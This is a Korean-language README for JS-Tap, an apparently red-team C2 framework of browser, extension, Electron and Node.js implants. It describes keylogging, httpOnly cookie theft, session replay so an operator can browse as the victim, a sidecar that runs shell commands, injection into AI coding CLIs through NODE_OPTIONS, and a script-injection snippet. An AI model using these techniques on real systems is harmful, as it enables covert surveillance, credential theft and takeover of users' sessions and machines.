**참고:** 명령은 비동기식입니다. 명령을 보내면 UI가 결과를 폴링합니다. 비콘/에이전트는 명령을 수신하고 결과를 다시 보내기 위해 체크인(하트비트)해야 합니다. 기본 하트비트 설정에서는 몇 초의 지연이 예상됩니다.
### 사용자 정의 페이로드
JS-Tap 포털에서 여러 JavaScript 페이로드를 추가하고 단일 클라이언트, 모든 현재 클라이언트에서 실행하거나 모든 향후 클라이언트에서 자동 실행으로 설정할 수 있습니다. 페이로드는 JS-Tap 포털 내에서 작성/편집하거나 파일에서 가져올 수 있습니다. 페이로드를 내보낼 수도 있습니다. 페이로드 가져오기 형식은 간단한 JSON입니다. JavaScript 코드와 설명은 단순히 base64로 인코딩됩니다.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
맞춤 페이로드가 데이터를 유출해야 하는 경우 customExfil(note, data) 메서드를 사용할 수 있습니다. 맞춤 페이로드에서 이 메서드를 호출하면 해당 텍스트 데이터가 JS-Tap으로 다시 전송되어 전리품 데이터의 이벤트로 표시됩니다.
맞춤 페이로드의 주요 사용자 인터페이스는 상단 메뉴 바에 있습니다. Custom Payloads를 선택하여 인터페이스를 엽니다. 기존 페이로드는 왼쪽 목록에 표시됩니다. 버튼 막대를 사용하여 목록을 가져오거나 내보낼 수 있습니다. 페이로드는 오른쪽에서 편집할 수 있으며, Expand Code 버튼을 누르면 더 큰 코드 편집 창을 얻을 수 있습니다. 편집할 기존 페이로드를 로드하려면 Saved Payloads 목록에서 페이로드를 클릭하여 선택합니다. 페이로드를 정의하고 저장한 후에는 클라이언트에서 실행할 수 있습니다.
기본 Custom Payloads 보기에서 모든 현재 클라이언트에 대해 페이로드를 실행할 수 있습니다(Run 버튼). 또한 페이로드의 Autorun 속성을 켤 수 있으며, 이는 모든 새 클라이언트가 페이로드를 실행한다는 의미입니다. 기존 클라이언트는 Autorun 설정에 따라 페이로드를 실행하지 않습니다.
Repeat을 켜면 각 클라이언트가 작업을 확인할 때 페이로드가 할당됩니다. 클라이언트가 맞춤 페이로드 작업을 확인하는 속도는 가변적이며, 해당 속도는 기본 JS-Tap 페이로드 구성에서 변경할 수 있습니다. 해당 속도는 맞춤 페이로드(updateTaskCheckInterval(newDelay) 함수 호출)를 통해 변경할 수 있습니다. 작업 확인 지연 시간의 지터는 updateTaskCheckJitter(newTop, newBottom) 함수로 설정할 수 있습니다.
맞춤 페이로드 UI의 Clear All Jobs 버튼은 모든 클라이언트의 대기열에서 모든 맞춤 페이로드 작업을 삭제하고 자동/반복 실행 토글을 재설정합니다.
단일 클라이언트에서 페이로드를 실행하려면 실행하려는 특정 클라이언트의 Run Payload 버튼을 사용한 다음 사용하려는 특정 페이로드의 Run 버튼을 누릅니다. 개별 클라이언트에서 Repeat을 설정할 수도 있습니다.
타겟팅 규칙을 사용하면 개별 클라이언트를 수동으로 선택하거나 모든 클라이언트에서 맹목적으로 실행하는 대신 특정 기준과 일치하는 클라이언트에서 페이로드를 자동으로 실행할 수 있습니다.
페이로드에서 Add Rule 버튼을 클릭하여 타겟팅 규칙을 생성합니다. 규칙은 클라이언트 검색 창과 동일한 필터 구문을 사용합니다.
&&를 사용하여 용어 결합 (예: linux && chrome)!를 붙여 부정 (예: !bex-beacon)예: linux && chrome && !bex는 BEX 비콘이 아닌 모든 Linux Chrome 클라이언트와 일치합니다.
규칙을 저장하기 전에 Preview를 클릭하여 현재 연결된 클라이언트 중 어떤 것이 일치하는지 확인할 수 있습니다. 미리보기에는 기본 클라이언트 목록과 동일한 정보(태그/닉네임, 타임스탬프, IP, 플랫폼, 브라우저, 도메인)가 포함된 미니 클라이언트 카드가 표시됩니다.
각 타겟팅 규칙에는 페이로드 수준 버튼과 동일하게 작동하지만 규칙의 필터 쿼리와 일치하는 클라이언트에만 영향을 미치는 자체 Autorun, Repeat 및 Run 컨트롤이 있습니다. 개별 규칙을 Edit 또는 Delete할 수도 있습니다. 페이로드에는 여러 타겟팅 규칙이 있을 수 있습니다.
JS-Tap에는 맞춤 페이로드를 자동으로 생성하는 기능이 포함되어 있습니다. 이 기능은 양식 제출 및 XHR/Fetch API 호출을 가로채는 능력을 활용합니다. JS-Tap은 가로챈 통신을 프로토타입으로 사용하여 페이로드를 구축할 수 있습니다.
요청의 매개변수는 자동 생성된 페이로드 상단의 변수로 설정되어 수행 중인 작업을 쉽게 수정할 수 있습니다. CSRF 토큰이 필요한 양식 제출 및 Authorization 헤더가 필요한 XHR/Fetch API 호출은 mimic 마법사에서 처리됩니다. 가로챈 양식 제출/API 호출에서 이러한 값을 선택할 수 있으며 JS-Tap은 데이터베이스를 검색하여 이러한 값의 출처를 확인합니다.
먼저 사용자 브라우저에서 이러한 항목의 현재 값을 가져오는 페이로드가 생성됩니다. 이러한 값은 시간이 지남에 따라 그리고 사용자에 따라 다를 가능성이 높기 때문입니다. 검색된 값은 수정된 매개변수를 서버에 전달하여 "모방"되는 작업을 수행하는 후속 요청에 사용됩니다.
이러한 값 검색을 건너뛰거나, 요청에 값이 없거나, JS-Tap이 소스를 찾을 수 없는 경우 원래 가로챈 요청의 CSRF 토큰 및 Authorization 헤더 값을 사용하는 페이로드가 생성됩니다.
mimic 기능을 사용하여 자동 생성된 페이로드를 만들려면 가로챈 양식 제출 또는 API 호출을 찾아 전리품 열의 이벤트 카드에서 Create Mimic Payload 버튼을 누릅니다. 그러면 마법사가 열리며, 여기서 CSRF 토큰(양식 제출의 경우) 또는 Authorization 헤더(API 호출의 경우)를 선택합니다. 매개변수/헤더 이름을 이름 필드에 복사하고 토큰 값을 값 필드에 복사해야 합니다. 그런 다음 Search 버튼을 눌러 JS-Tap이 이러한 값이 저장되거나 검색되는 위치를 확인하도록 합니다.
JS-Tap이 해당 값의 소스를 찾으면 다음을 누르면 페이로드가 생성되어 C2 시스템에 새 페이로드로 입력됩니다. 페이로드 이름, 설명 및 생성된 코드 상단의 매개변수 값을 원하는 설정으로 변경하고 저장합니다. 그런 다음 JS-Tap 클라이언트에서 해당 페이로드를 실행할 수 있습니다.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## Tools
도구 하위 디렉토리에는 몇 가지 도구가 포함되어 있습니다.
### clientSimulator.py
12개의 다양한 가짜 클라이언트(다양한 OS/브라우저 조합)를 생성하고, 서버에 등록하며, 실제 loot 데이터를 전송하고, 사용자 정의 페이로드 작업을 폴링하는 비동기 클라이언트 시뮬레이터입니다. 타겟팅 규칙, 매치 필터링, 자동 실행/반복 동작 및 사용자 정의 페이로드 전달을 테스트하는 데 유용합니다.```bash
python3 tools/clientSimulator.py
옵션:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
JS-Tap을 gunicorn으로 실행하면 확장성이 매우 좋습니다.
### MonkeyPatchApp
XHR/Fetch monkeypatching 테스트에 사용되는 간단한 앱이지만, 일반적으로 페이로드를 테스트할 수 있는 간단한 앱을 제공합니다.
실행 방법:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
기본적으로 애플리케이션은 다음에서 실행됩니다:``` https://127.0.0.1:8443
"Inject JS-Tap payload" 버튼을 누르면 DOM 비콘 페이로드가 실행됩니다. 이 기능은 임플란트 또는 트랩 모드 모두에서 작동합니다. 페이로드 파일을 로드하기 위해 monkeyPatchLab 애플리케이션을 새 JS-Tap 서버 위치로 지정해야 할 수 있습니다. 이 설정은 **main.js**의 **injectPayload()** 함수에서 찾을 수 있습니다.```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
MonkeyPatchApp과 유사한 또 다른 간단한 앱이지만, 이 애플리케이션의 XHR API 호출은 애플리케이션 내에서 눈에 띄는 변화를 일으킵니다("defcon" 레벨 변경).
또한 XSS 익스플로잇을 시뮬레이션하는 Inject JS-Tap payload 버튼이 있습니다. 모든 코드는 JavaScript와 HTML을 포함하여 defconServer.py 파일에 포함되어 있습니다.
이 애플리케이션은 가로챈 XHR 네트워크 호출로부터 페이로드를 자동 생성하는 테스트에 적합합니다.```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
Fetch API 호출을 사용하여 CRUD 작업을 수행하는 단일 페이지 애플리케이션(SPA) 테스트 앱입니다. Fetch 기반 SPA의 몽키패칭을 테스트하고, 가로챈 API 호출로부터 미믹 페이로드를 자동 생성하는 데 유용합니다.```bash
python3 tools/spaTestApp/spaServer.py
HTML 양식을 분석하고 해당 매개변수를 추출하는 레거시 도구입니다. 사용자 정의 페이로드를 자동 생성하는 mimic 기능으로 대체되었습니다.
JS-Tap의 웹 UI 이전에 사용된 레거시 도구입니다. generateIntelReport 스크립트는 수집된 전리품을 샅샅이 뒤져 PDF 보고서를 생성했습니다. 더 이상 작동하지 않습니다. — 대부분의 전리품은 (유출된 HTML 코드와 스크린샷을 제외하고) 데이터베이스에 저장됩니다.
@hoodoer
[email protected]
| 비콘 유형 | 설명 | 전달 방식 |
|---|
| DOM 비콘 (telemlib.js) | 웹 페이지에 주입되는 JavaScript 페이로드입니다. DOM을 계측하고 사용자 활동, 스크린샷, 네트워크 호출을 캡처합니다. | XSS 취약점을 이용하거나 대상 애플리케이션의 JavaScript 파일에 직접 추가 (사후 침투). |
| BEX 비콘 | 브라우저 확장 프로그램 (Chrome MV3 / Firefox MV2)입니다. 모든 탐색 활동을 모니터링하고 쿠키 (httpOnly 포함), localStorage, sessionStorage, 요청 헤더를 캡처합니다. 명령에 따라 특정 도메인에 DOM 비콘을 주입할 수 있습니다. | 대상 브라우저에 설치 (사회 공학, 물리적 접근, 정책 푸시 등). |
| 사이드카 | 대상 OS에서 실행되는 네이티브 Go 바이너리입니다. 파일 시스템 탐색, 파일 읽기, 명령 실행을 제공합니다. | 네이티브 메시징을 통해 BEX 비콘과 함께 설치됩니다. 명령을 중계하려면 BEX 비콘이 필요합니다. |
| 아톰 비콘 | Electron 데스크톱 애플리케이션을 위한 이중 계층 임플란트입니다. 메인 프로세스 에이전트 (Node.js 런타임) + 모든 앱 창에 렌더러 페이로드를 주입합니다. 브라우저 수준 데이터 수집과 호스트 수준 OS 접근을 결합합니다 — 별도의 바이너리가 필요 없습니다. 브라우저 프록시 모드를 지원합니다. | atomize.py를 사용하여 대상 Electron 앱의 ASAR 아카이브 (또는 압축 해제된 앱 디렉토리)에 패치됩니다. |
| V8 비콘 | Node.js 및 Bun CLI 애플리케이션 (Gemini CLI, Claude Code 등)을 위한 JavaScript 에이전트입니다. 모든 HTTP/Fetch 네트워크 호출을 가로채고 키 입력을 캡처하며 파일 시스템 및 셸 접근을 제공합니다. 브라우저 프록시 모드를 지원합니다. 의존성이 없습니다. | 환경 변수 NODE_OPTIONS="--require" (Node.js) 또는 BUN_OPTIONS="--preload" (Bun)을 통해 주입됩니다. 앱 패치가 필요 없습니다. |
| BEX 비콘이 캡처한 세션 데이터를 ("JS-Tap 티켓"으로) 가져와 로컬에서 재생하는 독립형 Firefox 확장 프로그램입니다 — 쿠키 설정, 헤더 주입, 스토리지 채우기, 사용자 에이전트 스푸핑을 수행하여 운영자가 피해자처럼 탐색할 수 있게 합니다. 아래 JS-Tap 티켓 및 JS-Tap Conductor를 참조하십시오. |
http2.connectprocess.stdin앱별 공격을 위한 플러그인: Atom 비콘 및 V8 비콘 클라이언트는 런타임에 로드 가능한 플러그인을 지원합니다. 플러그인은 JS-Tap 포털에서 로드되는 JavaScript 모듈로, 특정 대상 애플리케이션(예: Mattermost 플러그인)에 대한 비콘의 기능을 확장합니다. 플러그인은 비콘의 Node.js API (fs, http, crypto, child_process), Electron API (Atom 비콘의 경우) 및 서버로 다시 데이터 유출 채널에 접근할 수 있습니다. 각 플러그인에는 대상 앱, 기능 및 운영자가 구성할 수 있는 설정을 선언하는 매니페스트(manifest.json)와 포털에 표시되는 선택적 UI 패널(ui.html)이 포함됩니다.
| 브라우저 | 설치 방법 | 요구 사항 |
|---|
| Chrome/Chromium (Linux, .crx + 정적 ID) | 로컬 CRX에서 확장 프로그램을 강제 설치하는 엔터프라이즈 정책을 작성합니다. 사용자 상호작용이 필요하지 않으며, 다음 브라우저 실행 시 확장 프로그램이 자동으로 설치됩니다. | sudo |
| Chrome/Chromium (macOS, .crx + 정적 ID) | .crx를 시스템 디렉터리에 복사하고 외부 확장 JSON을 작성합니다. Chrome에서 확장 프로그램에 대해 경고할 때 사용자가 "계속 사용(Keep)"을 클릭해야 합니다. | sudo |
| Chrome/Chromium (.crx 없음) | 압축 해제된 확장 프로그램을 안정적인 디렉터리에 복사합니다. chrome://extensions 개발자 모드에 대한 지침을 출력합니다. | 없음 |
| Chrome (Windows, .crx + 정적 ID) | .crx를 복사하고 외부 확장 프로그램 설치를 위한 레지스트리 항목을 작성합니다. | 없음 (사용자 수준 레지스트리) |
| Firefox (.xpi + 확장 프로그램 ID) | 기본 Firefox 프로필을 자동으로 감지하고 .xpi를 프로필의 extensions/ 디렉터리에 복사합니다. Firefox는 다음 실행 시 사용자에게 확장 프로그램을 활성화하라는 메시지를 표시합니다. | 없음 |
| Firefox (.xpi 없음) | 압축 해제된 확장 프로그램을 안정적인 디렉터리에 복사합니다. about:debugging에 대한 지침을 출력합니다. | 없음 |
| 명령 | 인수 | 설명 |
|---|
list_dir | { path: "/some/path" } | 디렉터리 내용을 나열합니다. 경로가 비어 있으면 사용자의 홈 디렉터리로 기본 설정됩니다. 파일 이름, 크기, 유형 및 수정 시간을 반환합니다. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | 파일 내용을 (base64로 인코딩하여) 읽습니다. 읽기당 최대 1MB입니다. 큰 파일의 경우 offset/limit을 지원합니다. |
exec_cmd | { command: "whoami", timeout: 30 } | 셸 명령을 실행합니다. Linux/macOS에서는 /bin/sh -c를, Windows에서는 cmd.exe /C를 사용합니다. 최대 시간 초과는 120초입니다. stdout, stderr 및 종료 코드를 반환합니다. |
출력 파일 경로 (기본값: ./v8-beacon.js) |
| 필드 | 설명 |
|---|
name | 확장 프로그램의 표시 이름 |
version | 확장 프로그램 버전 (.crx 외부 확장 JSON에도 사용됨). 빌드 시 buildAll.py에 의해 자동 증가됩니다. |
description | 브라우저에 표시되는 확장 프로그램 설명 |
install_dirname | 설치 스크립트가 대상 시스템에 파일을 저장하는 데 사용하는 디렉토리 이름 (예: Linux의 /opt/<dirname>/, Windows의 %LOCALAPPDATA%\<dirname>). 엔터프라이즈 정책 파일 이름에도 사용됩니다. 무해한 이름을 선택하세요. 기본값: jstap |
| 필드 | 설명 |
|---|
chrome_key | Base64로 인코딩된 DER 공개 키. 결정적 확장 프로그램 ID를 위해 Chrome manifest에 key로 주입됩니다. |
chrome_key_pem | 개인 키 .pem 파일의 경로 (프로젝트 루트 기준). 빌드 스크립트가 .crx 파일을 패킹하는 데 사용됩니다. |
chrome_extension_id | 32자 Chrome 확장 프로그램 ID. 비워두면 chrome_key에서 자동 계산됩니다. 사이드카 네이티브 메시징 manifest에서 사용됩니다. |
firefox_extension_id | Firefox 확장 프로그램 ID (예: bex-beacon@jstap). Firefox manifest에 browser_specific_settings.gecko.id로 주입됩니다. |
0whitelist | URL 일치 패턴 배열. * 와일드카드를 사용하는 표준 브라우저 확장 일치 패턴. whitelist_enabled가 true일 때만 사용됩니다. |